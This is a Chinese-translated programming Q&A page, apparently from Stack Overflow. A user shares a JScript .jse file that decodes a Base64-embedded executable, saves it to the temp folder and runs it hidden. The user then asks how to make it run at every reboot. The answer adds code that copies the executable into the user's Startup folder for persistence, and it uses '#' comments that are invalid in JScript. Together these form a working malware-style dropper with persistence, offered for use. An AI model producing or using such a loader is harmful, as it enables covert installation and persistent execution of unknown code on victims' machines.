-1

我正在制作一个 JSE 文件,它将解码 Base64 编码的 .exe 文件,将其保存到 tmp 文件夹并执行它。但是我需要在每次系统重新启动时将 .exe 文件添加到启动和运行中。我是编码初学者,刚刚用各种开源代码制作了这个程序。

谁能帮助我如何使它自动启动?截至目前,一切正常。当我点击 jse 文件时,它会在后台运行,从解码到安装 exe。但是当我重新启动时,什么也没有发生。

    var x="Base64valueofexe"; // Here we enter encoded base64 value of our exe

    function decodeBase64(a) {
        var b = new ActiveXObject("Microsoft.XMLDOM");
        var c = b.createElement("tmp");
        c.dataType = "bin.base64";
        c.text = a;
        return c.nodeTypedValue
    }

    function writeBytes(a, b) {
        var c = 1;
        var d = new ActiveXObject("ADODB.Stream");
        d.Type = c;
        d.Open();
        d.Write(b);
        d.SaveToFile(a)
    }

    function writeBase64FileInTemp(a, b) {
        var c = 2;
        var d = new ActiveXObject("Scripting.FileSystemObject");
        var e = d.GetSpecialFolder(c) + "\\" + b;
        writeBytes(e, decodeBase64(a));
        return e
    }

    function deleteFile(a) {
        var b = new ActiveXObject("Scripting.FileSystemObject");
        b.DeleteFile(a)
    }
    var fname = 'abc.exe';
    try {
        var fpath = writeBase64FileInTemp(x, fname);
        var oShell = new ActiveXObject("WScript.Shell");
        oErrCode = oShell.Run(fpath, 0, true);
     deleteFile(fpath)
    } catch (err) {};

这运行良好,但任何人请帮助我让这个 .exe 文件在重新启动后运行。

4

1 回答 1

0

您只需将可执行文件复制到启动文件夹中即可。您需要像这样更改代码:

try {
    var fpath = writeBase64FileInTemp(x, fname);
    var oShell = new ActiveXObject("WScript.Shell");
    var fso = new ActiveXObject("Scripting.FileSystemObject");
    oErrCode = oShell.Run(fpath, 0, true);
    var strUserName = oShell.ExpandEnvironmentStrings("%USERNAME%"); # get current username
    fso.CopyFile (fpath, "C:\\Users\\"+strUserName+"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\"); # copy the file into the current user startup folder
    deleteFile(fpath);
} catch (err) {};
于 2019-09-14T12:49:11.593 回答